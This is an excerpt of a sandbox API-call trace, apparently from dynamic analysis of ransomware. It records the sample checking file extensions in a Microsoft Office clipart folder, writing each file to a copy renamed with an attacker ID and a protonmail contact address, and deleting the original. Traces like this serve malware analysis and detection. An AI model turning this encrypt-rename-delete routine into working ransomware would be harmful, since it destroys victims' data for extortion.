	[0076.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.508] lstrlenW (lpString=".doc") returned 4
	[0076.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString=".docx") returned 5
	[0076.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.509] lstrlenW (lpString=".pdf") returned 4
	[0076.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.509] lstrlenW (lpString=".xls") returned 4
	[0076.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.509] lstrlenW (lpString=".xlsx") returned 5
	[0076.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.509] lstrlenW (lpString=".ppt") returned 4
	[0076.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.509] lstrlenW (lpString=".zip") returned 4
	[0076.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.509] lstrlenW (lpString=".rar") returned 4
	[0076.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.509] lstrlenW (lpString=".bz2") returned 4
	[0076.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.509] lstrlenW (lpString=".7z") returned 3
	[0076.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.509] lstrlenW (lpString=".dbf") returned 4
	[0076.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.509] lstrlenW (lpString=".1cd") returned 4
	[0076.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.509] lstrlenW (lpString=".jpg") returned 4
	[0076.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.509] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.510] lstrlenW (lpString="BS01637_.WMF") returned 12
	[0076.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.510] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3948) returned 1
	[0076.511] CloseHandle (hObject=0x37c) returned 1
	[0076.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220
	[0076.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.511] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.511] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.512] GetLastError () returned 0x0
	[0076.512] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xf6c, lpOverlapped=0x0) returned 1
	[0076.513] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf70, lpOverlapped=0x0) returned 1
	[0076.514] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.515] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.515] SetEndOfFile (hFile=0x33c) returned 1
	[0076.515] CloseHandle (hObject=0x33c) returned 1
	[0076.516] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.516] SetEndOfFile (hFile=0x37c) returned 1
	[0076.517] CloseHandle (hObject=0x37c) returned 1
	[0076.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1
	[0076.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.517] lstrlenW (lpString=".doc") returned 4
	[0076.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString=".docx") returned 5
	[0076.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.518] lstrlenW (lpString=".pdf") returned 4
	[0076.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString=".xls") returned 4
	[0076.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.518] lstrlenW (lpString=".xlsx") returned 5
	[0076.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.518] lstrlenW (lpString=".ppt") returned 4
	[0076.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.518] lstrlenW (lpString=".zip") returned 4
	[0076.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.518] lstrlenW (lpString=".rar") returned 4
	[0076.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString=".bz2") returned 4
	[0076.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString=".7z") returned 3
	[0076.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.518] lstrlenW (lpString=".dbf") returned 4
	[0076.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.518] lstrlenW (lpString=".1cd") returned 4
	[0076.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.518] lstrlenW (lpString=".jpg") returned 4
	[0076.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.518] lstrlenW (lpString=".doc") returned 4
	[0076.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString=".docx") returned 5
	[0076.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.519] lstrlenW (lpString=".pdf") returned 4
	[0076.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString=".xls") returned 4
	[0076.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.519] lstrlenW (lpString=".xlsx") returned 5
	[0076.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.519] lstrlenW (lpString=".ppt") returned 4
	[0076.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.519] lstrlenW (lpString=".zip") returned 4
	[0076.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.519] lstrlenW (lpString=".rar") returned 4
	[0076.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString=".bz2") returned 4
	[0076.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString=".7z") returned 3
	[0076.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.519] lstrlenW (lpString=".dbf") returned 4
	[0076.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.519] lstrlenW (lpString=".1cd") returned 4
	[0076.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0076.519] lstrlenW (lpString=".jpg") returned 4
	[0076.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.520] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.520] lstrlenW (lpString="BS01638_.WMF") returned 12
	[0076.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.520] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=10538) returned 1
	[0076.520] CloseHandle (hObject=0x37c) returned 1
	[0076.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220
	[0076.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.520] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.521] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.521] GetLastError () returned 0x0
	[0076.521] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x292a, lpOverlapped=0x0) returned 1
	[0076.523] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2930, lpOverlapped=0x0) returned 1
	[0076.524] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.524] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.524] SetEndOfFile (hFile=0x33c) returned 1
	[0076.525] CloseHandle (hObject=0x33c) returned 1
	[0076.526] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.526] SetEndOfFile (hFile=0x37c) returned 1
	[0076.527] CloseHandle (hObject=0x37c) returned 1
	[0076.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1
	[0076.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.527] lstrlenW (lpString=".doc") returned 4
	[0076.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.527] lstrlenW (lpString=".docx") returned 5
	[0076.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.528] lstrlenW (lpString=".pdf") returned 4
	[0076.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString=".xls") returned 4
	[0076.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.528] lstrlenW (lpString=".xlsx") returned 5
	[0076.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.528] lstrlenW (lpString=".ppt") returned 4
	[0076.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.528] lstrlenW (lpString=".zip") returned 4
	[0076.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.528] lstrlenW (lpString=".rar") returned 4
	[0076.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString=".bz2") returned 4
	[0076.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString=".7z") returned 3
	[0076.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.528] lstrlenW (lpString=".dbf") returned 4
	[0076.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.528] lstrlenW (lpString=".1cd") returned 4
	[0076.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.528] lstrlenW (lpString=".jpg") returned 4
	[0076.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.528] lstrlenW (lpString=".doc") returned 4
	[0076.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.528] lstrlenW (lpString=".docx") returned 5
	[0076.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.529] lstrlenW (lpString=".pdf") returned 4
	[0076.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.529] lstrlenW (lpString=".xls") returned 4
	[0076.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.529] lstrlenW (lpString=".xlsx") returned 5
	[0076.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.529] lstrlenW (lpString=".ppt") returned 4
	[0076.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.529] lstrlenW (lpString=".zip") returned 4
	[0076.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.529] lstrlenW (lpString=".rar") returned 4
	[0076.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.529] lstrlenW (lpString=".bz2") returned 4
	[0076.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.529] lstrlenW (lpString=".7z") returned 3
	[0076.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.529] lstrlenW (lpString=".dbf") returned 4
	[0076.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.529] lstrlenW (lpString=".1cd") returned 4
	[0076.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0076.529] lstrlenW (lpString=".jpg") returned 4
	[0076.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.529] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.529] lstrlenW (lpString="BS01639_.WMF") returned 12
	[0076.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.530] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4236) returned 1
	[0076.530] CloseHandle (hObject=0x37c) returned 1
	[0076.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220
	[0076.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.530] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.530] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.531] GetLastError () returned 0x0
	[0076.531] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x108c, lpOverlapped=0x0) returned 1
	[0076.533] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1090, lpOverlapped=0x0) returned 1
	[0076.534] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.534] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.534] SetEndOfFile (hFile=0x33c) returned 1
	[0076.534] CloseHandle (hObject=0x33c) returned 1
	[0076.535] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.535] SetEndOfFile (hFile=0x37c) returned 1
	[0076.536] CloseHandle (hObject=0x37c) returned 1
	[0076.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1
	[0076.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.536] lstrlenW (lpString=".doc") returned 4
	[0076.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.536] lstrlenW (lpString=".docx") returned 5
	[0076.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.536] lstrlenW (lpString=".pdf") returned 4
	[0076.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString=".xls") returned 4
	[0076.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.537] lstrlenW (lpString=".xlsx") returned 5
	[0076.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.537] lstrlenW (lpString=".ppt") returned 4
	[0076.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.537] lstrlenW (lpString=".zip") returned 4
	[0076.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.537] lstrlenW (lpString=".rar") returned 4
	[0076.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString=".bz2") returned 4
	[0076.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString=".7z") returned 3
	[0076.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.537] lstrlenW (lpString=".dbf") returned 4
	[0076.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.537] lstrlenW (lpString=".1cd") returned 4
	[0076.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.537] lstrlenW (lpString=".jpg") returned 4
	[0076.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
